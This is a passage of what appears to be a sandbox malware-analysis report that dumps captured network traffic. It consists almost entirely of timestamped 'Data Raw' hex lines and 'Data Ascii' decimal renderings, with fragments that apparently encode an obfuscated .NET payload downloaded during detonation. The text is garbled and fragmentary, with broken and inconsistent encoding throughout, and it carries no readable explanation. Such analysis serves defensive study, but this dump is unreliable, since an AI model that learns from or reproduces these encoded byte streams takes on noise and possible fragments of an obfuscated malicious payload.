322031 3820 31 313320302031 313320312037 352031382031 2030 203132312031 20333520313220
312031342031313320312039332031382037203134203131332031203536203138203134203134
2031 353320312032 3820342034 312031342031 37203020 363620313220 323332203020313639 20
3120313820323220383420302031373720312031313820 313220313333 203020313639 20312032
352032 322034 372031 342031 383520312031 3838 2032352035

Data Ascii: 7218 113065117218 1130731172181130811172182331397117218113011317518101211
3512114113193187141131561814141531284411417066122320169118228401771118121330
1691252247 141851188255

Data Raw: 20 32 34 20 30 20 33 34 20 30 20 32 34 20 30 20 33 35 20 30 20 32 34 20 30 20 33 36 20 30 20 32 34 20 30

20 3338 20 30 20 33 37 20 30 20 34 36 20 30 20 34 35 20 30 20 34 37 20 30 20 34 35 20 30 20 34 38 20 30 20 34 35 20
30 20 30 20 30 20 31 36 20 30 20 31 36 20 30 20 31 38 33 20 32 20 30 20 30 20 31 36 20 30 20 39 35 20 30 20 32 33 34
203220 3020 30 20 30 20 30 20 39 37 20 30 20 31 32 35 20 30 20 30 20 30 20 30 20 30 20 31 30 39 20 30 20 31 33 38
203120302030203020302031333920302032343220323320313720312031332031372031372031
203334203137203233203120313320313720313338203020392031382031363120312035392031
3920 31 36 31 20 31 20 37 30 20 31 39 20 31 36 31 20 31 20 38 31 20 31 39

Data Ascii: 24034024035024036024038037046045047045048045000160160183200160950
23420000970125000001090138100001390242231711317171341723113171380918 161159
191611701916118119

Data Raw: 20 31 31 36 20 31 30 31 20 31 31 34 20 31 31 32 20 31 31 34 20 31 30 35 20 31 31 35 20 31 30 31 20 38 33
2031303120 3131342031 313820313035 203939 2031303120 3131352037 322031303120 31303820
313132 203130312031 313420302038 342031313120383520313132203131322031303120313134
203020363720313137203131342031313420313031203131302031313620383520313135203130
312031313420302038342031313120373120313031203131302031303120313134203130352039
392038302039372031313420393720313039203130312031313620313031203131342030203731
2031 3031203131362036382031303120313038203130312031

Data Ascii: 116 101 114 112 114 105 115 101 83 101 114 118 105 99 101 115 72 101 108 112 101 114 084 111 85 112
112101114067 117 114114101 110 116 85115101 114084 111 71 101 110 101 114 105 99 80 97 114 97 109 101
116101 114071 101 116 68 101 108 101 1

Data Raw: 33 31 20 32 31 37 20 31 33 32 20 32 31 37 20 31 37 33 20 32 31 37 20 31 37 37 20 32 31 37 20 31 34 34 20
3231372031 353520323136 20313837 20323137 203133312030 2032 333320313239 203133312032
333320 31 333020 31 33 39 20 32 33 33 20 31 32 39 20 31 33 34 20 32 33 33 20 31 32 39 20 31 37 32 20 32 33 33 20
313239203133392032333320313239203138392032333320313330203133312032333320313239
203138352032 333320313239203134302032333320313239203133392032333320313239203136
342032 333320313239 203133392032333320313239203133312032333320313239203133312032
333320313239 2031 3332203020 323335203133 302031353620

Data Ascii: 31 217 132 217 173 217 177 217 144 217 155 216 187 217 131 0 233 129 131 233 130 139 233 129 134 233
129172 233 129 139 233 129 189 233 130 131 233 129 185 233 129 140 233 129 139 233 129 164 233 129 139 233 129
131 233 129 131 233 129 132 0 235 130 156

Data Raw: 20 31 34 39 20 31 36 39 20 32 32 37 20 31 34 38 20 31 38 39 20 32 32 37 20 31 34 39 20 31 32 38 20 32 32
37 2031 34 39 20 31 37 30 20 32 32 37 20 31 34 39 20 31 33 39 20 30 20 32 33 35 20 31 35 32 20 31 38 30 20 32 33 35
2031 35 3220 31 33 34 20 32 33 35 20 31 35 32 20 31 33 31 20 32 33 35 20 31 35 32 20 31 33 38 20 32 33 35 20 31 35
322031 333420323335203135322031383420323335203135322031333020323335203135322031
3338 20 32 33 35 20 31 35 32 20 31 38 39 20 32 33 35 20 31 35 32 20 31 37 39 20 32 33 35 20 31 35 32 20 31 33 36 20
3233352031 353320313337 203233352031 35322031 333120 3233352031 35322031353520323335
20 31 35322031 333920302032 33312031353220313832203233

Data Ascii: 149 169 227 148 189 227 149 128 227 149 170 227 149 139 0 235 152 180 235 152 134 235 152 131 235 152
138 235 152 134 235 152 184 235 152 130 235 152 138 235 152 189 235 152 179 235 152 136 235 153 137 235 152 131
235 152 155 235 152 139 0 231 152 182 23

Data Raw: 34 37 20 31 34 34 20 32 33 37 20 31 34 36 20 31 37 37 20 32 33 37 20 31 34 36 20 31 36 34 20 32 33 37 20
313437 20 31 34 38 20 32 33 37 20 31 34 37 20 31 34 37 20 32 33 37 20 31 34 36 20 31 38 35 20 32 33 37 20 31 34 36
20 31 36 3520 32 33 37 20 31 34 36 20 31 36 38 20 32 33 37 20 31 34 36 20 31 36 37 20 32 33 37 20 31 34 37 20 31 34
3520 30 20 32 33 36 20 31 36 30 20 31 38 39 20 32 33 36 20 31 36 31 20 31 37 34 20 32 33 36 20 31 36 31 20 31 32 38
20 32 33 36 20 31 36 30 20 31 38 38 20 32 33 36 20 31 36 30 20 31 38 39 20 32 33 36 20 31 36 30 20 31 38 35 20 32 33
36 20 31 36 31 20 31 38 31 20 32 33 36 20 31 36 31 20 31 32 38 20 32 33 36 20 31 36 32 20 31 32 38 20 32 33 36 20 31
36 31 20 31 35 34 20 32 33 36 20 31 36 31 20 31 35 33 20 32 33 36 20 31 36

Data Ascii: 47 144 237 146 177 237 146 164 237 147 148 237 147 147 237 146 185 237 146 165 237 146 168 237 146 167
237 147 145 0 236 160 189 236 161 174 236 161 128 236 160 188 236 160 189 236 160 185 236 161 181 236 161 128
236 162 128 236 161 154 236 161 153 236 16

Data Raw: 20 31 33 32 20 32 33 36 20 31 37 35 20 31 36 37 20 32 33 36 20 31 37 34 20 31 37 39 20 32 33 36 20 31 37
352031 33 35 20 32 33 36 20 31 37 35 20 31 37 33 20 32 33 36 20 31 37 35 20 31 33 36 20 32 33 36 20 31 37 35 20 31
36 32 20 32 33 36 20 31 37 34 20 31 38 35 20 32 33 36 20 31 37 35 20 31 36 36 20 32 33 36 20 31 37 35 20 31 35 32 20
3020 32 323520 31 37 36 20 31 35 31 20 32 32 35 20 31 37 36 20 31 33 33 20 32 32 35 20 31 37 36 20 31 38 32 20 32
32 3520 31 37 36 20 31 36 39 20 32 32 35 20 31 37 36 20 31 38 32 20 32 32 35 20 31 37 36 20 31 35 31 20 32 32 35 20
3137 37 20 31 33 33 20 32 32 35 20 31 37 37 20 31 33 31 20 32 32 35 20 31 37 36 20 31 33 31 20 32 32 35 20 31 37 36
20313331 2032 32352031 37 36 20 31 33 37 20 32 32 35 20 31 37 36 20

Data Ascii: 132 236 175 167 236 174 179 236 175 135 236 175 173 236 175 136 236 175 162 236 174 185 236 175 166
236 175 152 0 225 176 151 225 176 133 225 176 182 225 176 169 225 176 182 225 176 151 225 177 133 225 177 131
225176 131 225 176 131 225 176 137 225 176

Data Raw: 35 37 20 32 33 39 20 31 33 30 20 31 34 37 20 32 33 39 20 31 33 30 20 31 35 39 20 32 33 39 20 31 32 39 20
3137 37 20 32 33 39 20 31 32 39 20 31 37 33 20 32 33 39 20 31 33 30 20 31 34 35 20 32 33 39 20 31 32 39 20 31 38 38
20 32 33 39 20 31 32 39 20 31 37 39 20 32 33 39 20 31 32 39 20 31 37 30 20 32 33 39 20 31 33 30 20 31 36 30 20 30 20
3233382031 33 3220 31 34 30 20 32 33 38 20 31 33 32 20 31 38 36 20 32 33 38 20 31 33 33 20 31 3332 20 32 33 38
2031 33322031 36 32 20 32 33 38 20 31 33 33 20 31 33 31 20 32 33 38 20 31 33 32 20 31 38 35 20 32 33 38 20 31 33
3220 31 34 30 20 32 33 38 20 31 33 32 20 31 38 31 20 32 33 38 20 31 33 33 20 31 33 32 20 32 33 38 20 31 33 32 20 31
33 36 20 32 33 38 20 31 33 32 20 31 33 36 20 32 33 38 20 31 33 32 20 31 33

Data Ascii: 57 239 130 147 239 130 159 239 129 177 239 129 173 239 130 145 239 129 188 239 129 179 239 129 170 239
130 160 0 238 132 140 238 132 186 238 133 132 238 132 162 238 133 131 238 132 185 238 132 140 238 132 181 238
133 132 238 132 136 238 132 136 238 132 13
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2021-09-27 18:28:01 UTC 4308 IN Data Raw: 32 35 20 31 35 38 20 31 34 38 20 32 32 35 20 31 35 38 20 31 34 38 20 32 32 35 20 31 35 37 20 31 35 39 20
3232352031 3537203136 37 20 32 32 35 20 31 35 38 20 31 36 36 20 32 32 35 20 31 35 37 20 31 36 31 20 32 32 35
20 31 35 37 20 31 36 32 20 32 32 35 20 31 35 38 20 31 34 37 20 32 32 35 20 31 35 37 20 31 36 36 20 30 20 32 33 32 20
3136 302031 36 37 20 32 33 32 20 31 36 30 20 31 35 34 20 32 33 32 20 31 35 39 20 31 38 38 20 32 33 32 20 31 36 30
203137 312032333220313539203136392032333220313630203134392032333220313630203133
352032 333220313539 20313637 203233322031 353920313637 2032 33 32 20 31 35 39 20 31 36 37 20 32
333220313539 203136 352032 333220313539 2031 38 37 20 32 33
Data Ascii: 25 158 148 225 158 148 225 157 159 225 157 167 225 158 166 225 157 161 225 157 162 225 158 147 225 157
166 0232 160 167 232 160 154 232 159 188 232 160 171 232 159 169 232 160 149 232 160 135 232 159 167 232 159
167 232 159 167 232 159 165 232 159 187 23

2021-09-27 18:28:01 UTC 4324 IN Data Raw: 20 31 33 31 20 31 38 34 20 32 32 35 20 31 33 31 20 31 33 35 20 32 32 35 20 31 33 31 20 31 34 33 20 32 32
352031 333120313836 203232352031 333220 3133312032 32352031 333120313338203232352031
333220313239 203232352031 333120313839 203232352031 3331203137 352030 20323339 203133
352031343820323339203133352031373020323339203133352031343520323339203133362031
33302032333920313335203139312032 3339 203133352031343820323339203133352031343320
323339203133352031383220323339203133352031343320323339203133352031343520323339
203133 35203138312032333920313335203134322032333920
Data Ascii: 131 184 225 131 135 225 131 143 225 131 186 225 132 131 225 131 138 225 132 129 225 131 189 225 131
1750 239 135 148 239 135 170 239 135 145 239 136 130 239 135 191 239 135 148 239 135 143 239 135 182 239 135
143 239 135 145 239 135 181 239 135 142 239

2021-09-27 18:28:01 UTC 4340 IN Data Raw: 20 32 31 33 20 31 34 33 20 32 31 33 20 31 36 38 20 32 31 33 20 31 38 34 20 32 31 33 20 31 37 3220 32 31
322031 38 30 20 30 20 32 33 35 20 31 33 37 20 31 37 35 20 32 33 35 20 31 33 37 20 31 38 30 20 32 33 35 20 31 33 37
2031 37 36 20 32 33 35 20 31 33 37 20 31 37 33 20 32 33 35 20 31 33 37 20 31 39 31 20 32 33 35 20 31 33 37 20 31 38
3120323335203133382031363120323335 20313337 203138302032 333520313337203137332032
333520313337 203138312032333520313338203132382032333520313338203135392032333520
313337203137352032333520313338203136312032333520313337203138312030203232382031
3339 20 31 38 36 20 32 32 38 20 31 33 39 20 31 38 35 20 32 32 38 20 31 33
Data Ascii: 213 143 213 168 213 184 213 172 212 180 0 235 137 175 235 137 180 235 137 176 235 137 173 235 137 191
235 137 181 235 138 161 235 137 180 235 137 173 235 137 181 235 138 128 235 138 159 235 137 175 235 138 161 235
137 181 0 228 139 186 228 139 185 228 13

2021-09-27 18:28:01 UTC 4356 IN Data Raw: 37 37 20 32 33 35 20 31 37 34 20 31 33 30 20 32 33 35 20 31 37 33 20 31 39 31 20 32 33 35 20 31 37 34 20
3133302032 3335203137 3420313239 20 323335203137 3320313838 203233352031373420313535
2032 33 352031 37 34 20 31 33 30 20 32 33 35 20 31 37 33 20 31 38 38 20 30 20 32 32 38 20 31 37 37 20 31 38 36 20
323238203137 38203137 37203232382031 373720313836 20323238 2031 37 38 20 31 36 36 20 32 32 38
203137 3720313835203232382031373820313834203232382031 373820313637 20323238203137
38203137 3020323238203137372031383220323238203137382031343520323238203137382031
36 39 20 32 32 38 20 31 37 37 20 31 38 34 20 32 32 38 20 31 37 38 20 31 36
Data Ascii: 77 235 174 130 235 173 191 235 174 130 235 174 129 235 173 188 235 174 155 235 174 130 235 173 188 0
228 177 186 228 178 177 228 177 186 228 178 166 228 177 185 228 178 184 228 178 167 228 178 170 228 177 182 228
178 145 228 178 169 228 177 184 228 178 16

2021-09-27 18:28:01 UTC 4372 IN Data Raw: 31 31 36 20 30 20 31 31 33 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 38 30 20
30 20 36 39 20 30 20 36 38 20 30 20 36 39 20 30 20 39 37 20 30 20 37 35 20 30 20 36 36 20 30 20 36 38 20 30 20 35 34
20 30 20 36 39 20 30 20 31 31 39 20 30 20 37 32 20 30 20 38 38 20 30 20 38 34 20 30 20 38 38 20 30 20 31 31 35 20 30
20 31 31 30 20 30 20 36 38 20 30 20 38 36 20 30 20 38 39 20 30 20 31 31 38 20 30 20 31 31 35 20 30 20 31 30 33 20 30
20 34 33 20 30 20 31 32 30 20 30 20 39 39 20 30 20 38 36 20 30 20 35 32 20 30 20 34 39 20 30 20 37 30 20 30 20 31 31
32 20 30 20 37 39 20 30 20 31 30 35 20 30 20 31 30 31 20 30 20 37 39 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35
20 30 20 31 30 36 20 30 20 38 35 20 30 20 38 37 20 30 20 31 30 37 20 30 20
Data Ascii: 116 011306906506507308006906806909707506606805406901190720880840880
1150110068086089011801150103043012009908605204907001120790105010107901030650
6501060850870 1070

2021-09-27 18:28:01 UTC 4388 IN Data Raw: 30 20 31 31 31 20 30 20 36 35 20 30 20 31 30 36 20 30 20 38 39 20 30 20 34 37 20 30 20 37 37 20 30 20 38
34 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 35 20 30 20 38 37 20 30 20 31 30 36 20 30 20 37 37 20 30
20 31 32 30 20 30 20 34 38 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20 30 20 35 36 20 30 20 35 35 20 30 20 34
37 20 30 20 38 35 20 30 20 36 35 20 30 20 38 33 20 30 20 37 36 20 30 20 36 36 20 30 20 31 30 39 20 30 20 31 31 31 20
30 20 36 35 20 30 20 31 30 36 20 30 20 38 39 20 30 20 34 33 20 30 20 35 36 20 30 20 38 34 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 38 35 20 30 20 38 37 20 30 20 31 30 36 20 30 20 31 31 39 20 30 20 31 32 30 20 30 20 34 38
20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20 30 20 35 36 20 30 20 35
Data Ascii: 0111 0650106089047 077084065065065085087 0106 0770120048 0650650 105056055
047085065083076066010901110650106089043056084065065065085087010601190 1200 48
0650650105056 05

2021-09-27 18:28:01 UTC 4404 IN Data Raw: 34 39 20 30 20 37 30 20 30 20 38 30 20 30 20 35 37 20 30 20 34 39 20 30 20 36 39 20 30 20 38 30 20 30 20

35 37 20 30 20 34 39 20 30 20 36 38 20 30 20 38 30 20 30 20 35 37 20 30 20 34 39 20 30 20 36 37 20 30 20 37 31 20 30
20 31 31 31 20 30 20 36 36 20 30 20 34 37 20 30 20 35 31 20 30 20 38 38 20 30 20 35 36 20 30 20 38 36 20 30 20 34 37
20 30 20 35 37 20 30 20 34 39 20 30 20 35 37 20 30 20 38 30 20 30 20 34 37 20 30 20 38 37 20 30 20 35 34 20 30 20 31
3139 20 30 20 37 33 20 30 20 31 32 32 20 30 20 31 31 39 20 30 20 36 38 20 30 20 31 31 38 20 30 20 36 38 20 30 20 35
34 20 30 20 31 32 31 20 30 20 36 38 20 30 20 34 37 20 30 20 31 30 30 20 30 20 38 33 20 30 20 36 38 20 30 20 34 37 20
30 20 31 30 30 20 30 20 38 32 20 30 20 31 32 32 20 30 20 34 37 20 30 20 31

Data Ascii: 490700800570490690800570490680800570490670710111066047 0510880560860
470570490570800470870540119073012201190680118068054 0121068047 01000830680470
100082012204701

2021-09-27 18:28:01 UTC 4420 IN Data Raw: 20 30 20 34 37 20 30 20 35 31 20 30 20 38 31 20 30 20 31 30 37 20 30 20 37 31 20 30 20 37 30 20 30 20 38

30 2030 20 31 31 31 20 30 20 37 37 20 30 20 36 38 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30
20 36 38 20 30 20 34 37 20 30 20 37 30 20 30 20 38 34 20 30 20 31 30 36 20 30 20 36 37 20 30 20 38 31 20 30 20 36 35
20 30 20 36 37 20 30 20 37 36 20 30 20 34 33 20 30 20 37 30 20 30 20 31 30 31 20 30 20 37 36 20 30 20 31 32 31 20 30
20 34 33 20 30 20 31 30 34 20 30 20 36 37 20 30 20 37 37 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 39
37 20 30 20 31 30 33 20 30 20 37 38 20 30 20 38 38 20 30 20 35 34 20 30 20 37 34 20 30 20 31 31 31 20 30 20 31 32 30
20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 36 38 20 30 20 31 32

Data Ascii: 047051081010707107008001110770680690650650700680470700840106067081
06506707604307001010760121043010406707701030650650970103078088054074011101
20065065067 0680 12
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2021-09-27 18:28:01 UTC 4436 IN Data Raw: 30 20 34 38 20 30 20 39 39 20 30 20 38 31 20 30 20 31 30 36 20 30 20 39 38 20 30 20 31 30 31 20 30 20 36

352030 20 37 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 35 34 20 30 20 37 34 20 30 20 35 32 20 30
20 39 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 36 38 20 30 20 31 32 30 20 30 20 36 35 20 30 20 31 32
3120302037 3020 3020 31 31 39 20 30 20 37 30 20 30 20 35 33 20 30 20 39 38 20 30 20 31 30 30 20 30 20 36 35 20
3020 31 30 39 20 30 20 37 36 20 30 20 36 36 20 30 20 35 30 20 30 20 31 31 31 20 30 20 36 36 20 30 20 31 30 35 20 30
20 35 36 20 30 20 34 37 20 30 20 34 37 20 30 20 38 35 20 30 20 36 35 20 30 20 38 34 20 30 20 37 34 20 30 20 31 31 39
20 30 20 34 39 20 30 20 38 37 20 30 20 37 36 20 30 20 35 35 20 30 20 37 36

Data Ascii: 048099081 01060980 101065070010306506505407405209806506506706801200 65
01210700119070053098010006501090760660500111066010505604704708506508407401
19049087076 055076

2021-09-27 18:28:01 UTC 4452 IN Data Raw: 20 38 37 20 30 20 37 38 20 30 20 31 31 30 20 30 20 39 30 20 30 20 38 31 20 30 20 36 37 20 30 20 36 35 20
30 20 36 35 20 30 20 36 38 20 30 20 31 31 31 20 30 20 31 30 32 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20
36 35 20 30 20 37 30 20 30 20 36 38 20 30 20 34 37 20 30 20 31 30 30 20 30 20 36 37 20 30 20 38 31 20 30 20 38 39 20
30 20 35 34 20 30 20 37 37 20 30 20 31 31 31 20 30 20 37 36 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 36
3820 30 20 31 32 30 20 30 20 36 35 20 30 20 31 32 30 20 30 20 37 30 20 30 20 31 30 33 20 30 20 34 37 20 30 20 34 38
203020 36 38 20 30 20 31 30 32 20 30 20 31 31 37 20 30 20 37 30 20 30 20 31 31 31 20 30 20 36 36 20 30 20 31 31 39
20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 37
Data Ascii: 870780110090081067065065068011101020660480650650700680 4701000670810
89054077011107606506506706801200650120070010304704806801020117070011106601
19081 065065080057

2021-09-27 18:28:01 UTC 4468 IN Data Raw: 30 20 31 31 31 20 30 20 36 37 20 30 20 38 36 20 30 20 31 30 39 20 30 20 31 30 33 20 30 20 38 35 20 30 20
31323220 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 34 37 20 30 20 31 32 30 20 30 20 38 35 20 30 20 31 30
3720 30 20 31 31 39 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 35 36 20 30 20 39 30 20 30
20 34 38 20 30 20 36 36 20 30 20 39 38 20 30 20 31 31 35 20 30 20 36 35 20 30 20 37 31 20 30 20 38 31 20 30 20 36 35
20 30 20 36 3520 30 20 38 36 20 30 20 31 30 38 20 30 20 39 37 20 30 20 37 38 20 30 20 38 34 20 30 20 31 30 32 20 30
2031 323020302038 32 20 30 20 31 31 38 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 39 20 30 20 36 35 20 30 20
36 35 20 30 20 36 36 20 30 20 38 37 20 30 20 38 36 20 30 20 34 39 20 30 20
Data Ascii: 0111 067086 010901030850122085065065047 01200850107 01190850650650 79 0560
900480660980115065071081065065086010809707808401020120082011801030650690650
650660870860490

2021-09-27 18:28:01 UTC 4484 IN Data Raw: 30 20 31 30 30 20 30 20 37 34 20 30 20 34 39 20 30 20 36 38 20 30 20 38 37 20 30 20 31 30 34 20 30 20 34

382030 20 31 32 32 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 36 20 30 20 34 33 20 30 20 31 30 35 20
30 20 38 38 20 30 20 38 39 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 38 37 20 30 20 38 36 20 30 20 31 30
3920 3020 37 38 20 30 20 31 30 34 20 30 20 38 31 20 30 20 36 38 20 30 20 34 33 20 30 20 34 37 20 30 20 34 37 20 30
20 35 37 20 30 20 38 31 20 30 20 38 36 20 30 20 34 33 20 30 20 31 30 35 20 30 20 37 33 20 30 20 38 39 20 30 20 38 31
20 30 20 36 35 20 30 20 36 35 20 30 20 38 32 20 30 20 31 31 31 20 30 20 37 32 20 30 20 34 33 20 30 20 31 30 33 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30

Data Ascii: 0100074049068087010404801220850650650860430105088089081 065065087086
01090780104081068043047047057081086043010507308908106506508201110720430 103
0650650650650700

2021-09-27 18:28:01 UTC 4500 IN Data Raw: 30 20 38 33 20 30 20 37 36 20 30 20 37 39 20 30 20 38 34 20 30 20 31 31 36 20 30 20 35 36 20 30 20 37 34
20 3020 36 35 20 30 20 31 32 30 20 30 20 34 38 20 30 20 36 38 20 30 20 34 38 20 30 20 39 37 20 30 20 36 38 20 30 20
3131 39 20 30 20 38 31 20 30 20 31 30 33 20 30 20 35 35 20 30 20 35 36 20 30 20 31 31 30 20 30 20 31 32 32 20 30 20
31 31 3920 30 20 37 37 20 30 20 35 36 20 30 20 36 36 20 30 20 31 30 32 20 30 20 38 38 20 30 20 31 31 35 20 30 20 37
33 20 30 20 36 39 20 30 20 36 35 20 30 20 37 33 20 30 20 31 31 35 20 30 20 36 39 20 30 20 35 36 20 30 20 37 39 20 30
20 31 31 38 20 30 20 35 30 20 30 20 38 36 20 30 20 38 39 20 30 20 31 31 38 20 30 20 31 31 35 20 30 20 31 30 33 20 30
20 31 30 31 20 30 20 31 32 30 20 30 20 37 33 20 30 20 36 35 20 30 20 31 30
Data Ascii: 083076 0790840116056074065012004806804809706801190810103055056011001
2201190770560660102088011507306906507301150690560790118050086089011801150
103010101200730650 10

2021-09-27 18:28:01 UTC 4516 IN Data Raw: 20 36 35 20 30 20 38 37 20 30 20 38 36 20 30 20 37 39 20 30 20 34 37 20 30 20 36 37 20 30 20 38 37 20 30

20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 31 30 30 20 30 20 38 34 20 30 20 34 37 20 30 20 35 31
20 30 20 38 35 20 30 20 38 31 20 30 20 34 37 20 30 20 35 31 20 30 20 38 35 20 30 20 37 33 20 30 20 34 37 20 30 20 35
37 20 30 20 38 39 20 30 20 35 35 20 30 20 31 31 39 20 30 20 35 32 20 30 20 31 30 38 20 30 20 37 30 20 30 20 36 38 20
30 20 37 32 20 30 20 38 35 20 30 20 38 35 20 30 20 38 35 20 30 20 34 39 20 30 20 31 30 32 20 30 20 34 37 20 30 20 37
30 20 30 20 38 35 20 30 20 31 30 36 20 30 20 36 37 20 30 20 38 31 20 30 20 36 35 20 30 20 36 36 20 30 20 38 31 20 30
20 34 37 20 30 20 35 31 20 30 20 38 35 20 30 20 38 31 20 30 20 34 37 20 30

Data Ascii: 650870860790470670870740650650700100084047051085081047051085073047
05708905501190520108070068072085085085049010204707008501060670810650660810
470510850810470

2021-09-27 18:28:01 UTC 4532 IN Data Raw: 20 30 20 31 30 35 20 30 20 34 33 20 30 20 31 31 39 20 30 20 31 32 32 20 30 20 31 32 31 20 30 20 38 34 20
30 20 31 30 38 20 30 20 37 38 20 30 20 36 38 20 30 20 37 30 20 30 20 37 39 20 30 20 37 36 20 30 20 35 30 20 30 20 37
32 20 30 20 38 32 20 30 20 36 36 20 30 20 31 30 35 20 30 20 35 32 20 30 20 38 39 20 30 20 31 31 35 20 30 20 36 35 20
30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 35 36 20 30 20 37 30 20 30 20 34 33 20 30 20 37
3120 30 20 31 31 31 20 30 20 35 30 20 30 20 37 37 20 30 20 31 30 34 20 30 20 31 31 37 20 30 20 31 30 33 20 30 20 36
37 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 37 36 20 30 20 36 39 20 30 20 38 34 20 30 20 38 30 20 30 20
38 34 20 30 20 39 30 20 30 20 31 31 38 20 30 20 31 30 32 20 30 20 36 37 20
Data Ascii: 0105043 01190122012108401080780680700790760500720820660 1050520890 1150
6501190650650790560700430710111050077010401170103067065065067 0760690840800
8409001180 102067

2021-09-27 18:28:01 UTC 4548 IN Data Raw: 35 32 20 30 20 31 31 35 20 30 20 31 30 32 20 30 20 37 36 20 30 20 31 31 36 20 30 20 31 31 31 20 30 20 35
3520 30 20 37 37 20 30 20 38 32 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 37 20 30 20 34 38 20 30 20
37 34 20 30 20 36 35 20 30 20 31 32 31 20 30 20 37 36 20 30 20 31 32 30 20 30 20 31 31 37 20 30 20 31 30 34 20 30 20
38 36 20 30 20 34 37 20 30 20 31 31 38 20 30 20 34 37 20 30 20 34 37 20 30 20 38 38 20 30 20 35 36 20 30 20 37 33 20
30 20 36 39 20 30 20 36 35 20 30 20 37 30 20 30 20 38 37 20 30 20 37 36 20 30 20 35 35 20 30 20 37 33 20 30 20 37 32
20 30 20 31 31 3520 30 20 36 36 20 30 20 36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20
3131 37 20 30 20 37 31 20 30 20 34 39 20 30 20 36 35 20 30 20 37 33 20 30
Data Ascii: 5201150102076 0116 011105507708206506508005704807406501210760120011701
04086047011804704708805607306906507008707605507307201150660650730650650730
1170710490650730
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Timestamp transferred
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2021-09-27 18:28:01 UTC 4580

2021-09-27 18:28:01 UTC 4596

2021-09-27 18:28:01 UTC 4612

2021-09-27 18:28:01 UTC 4628

2021-09-27 18:28:01 UTC 4644

2021-09-27 18:28:01 UTC 4660

2021-09-27 18:28:01 UTC 4676

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 30 20 38 35 20 30 20 37 39 20 30 20 31 30 36 20 30 20 31 30 36 20 30 20 37 37 20 30 20 31 31 39 20 30 20
36 3520 30 20 36 35 20 30 20 31 30 33 20 30 20 35 36 20 30 20 38 31 20 30 20 38 31 20 30 20 31 30 36 20 30 20 38 39
20 30 20 38 35 20 30 20 36 35 20 30 20 34 37 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20 30 20 38 35 20 30 20 38
30 20 30 20 35 37 20 30 20 34 39 20 30 20 36 37 20 30 20 37 33 20 30 20 31 31 38 20 30 20 37 32 20 30 20 35 34 20 30
20 36 37 20 30 20 39 38 20 30 20 34 39 20 30 20 34 37 20 30 20 34 37 20 30 20 35 37 20 30 20 31 30 32 20 30 20 38 38
203020 313038203020 31313820302037342030203131392030203130332030203831203020 3635
20 30 20 38 36 20 30 20 38 39 20 30 20 31 31 38 20 30 20 31 31 35 20 30 20

Data Ascii: 0850790106 0106077 011906506501030560810810106089085065047080047047085
0800570490670730118072054067098049047047057010208801080118074011901030810 65
086089011801150

Data Raw: 30 20 37 38 20 30 20 31 30 30 20 30 20 36 37 20 30 20 38 31 20 30 20 31 30 33 20 30 20 35 34 20 30 20 36

372030 20 31 30 32 20 30 20 38 32 20 30 20 34 37 20 30 20 34 37 20 30 20 35 36 20 30 20 35 35 20 30 20 31 31 39 20
3020 31 31 39 20 30 20 34 33 20 30 20 37 37 20 30 20 35 33 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20
36 3520 3020 37 33 20 30 20 31 31 35 20 30 20 37 38 20 30 20 31 30 30 20 30 20 38 30 20 30 20 31 31 32 20 30 20 36
3520 30 20 36 35 20 30 20 37 36 20 30 20 35 32 20 30 20 36 39 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30 20
36 3520 30 20 31 30 33 20 30 20 39 39 20 30 20 36 39 20 30 20 36 39 20 30 20 38 36 20 30 20 38 31 20 30 20 36 35 20
30 20 36 35 20 30 20 38 36 20 30 20 31 30 38 20 30 20 37 31 20 30 20 37 38

Data Ascii: 0 780100067 0810103054067010208204704705605501190119043077 05301030650
65065073011507801000800112065065076052069065081065065010309906906908608106
50650860108071078

Data Raw: 20 31 30 32 20 30 20 31 32 31 20 30 20 37 36 20 30 20 35 36 20 30 20 38 30 20 30 20 35 36 20 30 20 38 36
203020 31 30 38 20 30 20 37 37 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 34 33 20 30 20
37 36 20 30 20 31 32 30 20 30 20 31 30 38 20 30 20 31 31 36 20 30 20 31 30 31 20 30 20 31 32 31 20 30 20 39 39 20 30
20 37 33 20 30 20 36 39 20 30 20 36 35 20 30 20 37 30 20 30 20 38 37 20 30 20 37 36 20 30 20 35 35 20 30 20 37 30 20
30 20 39 30 20 30 20 38 38 20 30 20 31 30 35 20 30 20 34 37 20 30 20 36 35 20 30 20 31 32 32 20 30 20 34 37 20 30 20
34 33 20 30 20 31 30 36 20 30 20 35 31 20 30 20 34 37 20 30 20 31 31 38 20 30 20 34 37 20 30 20 34 37 20 30 20 31 30
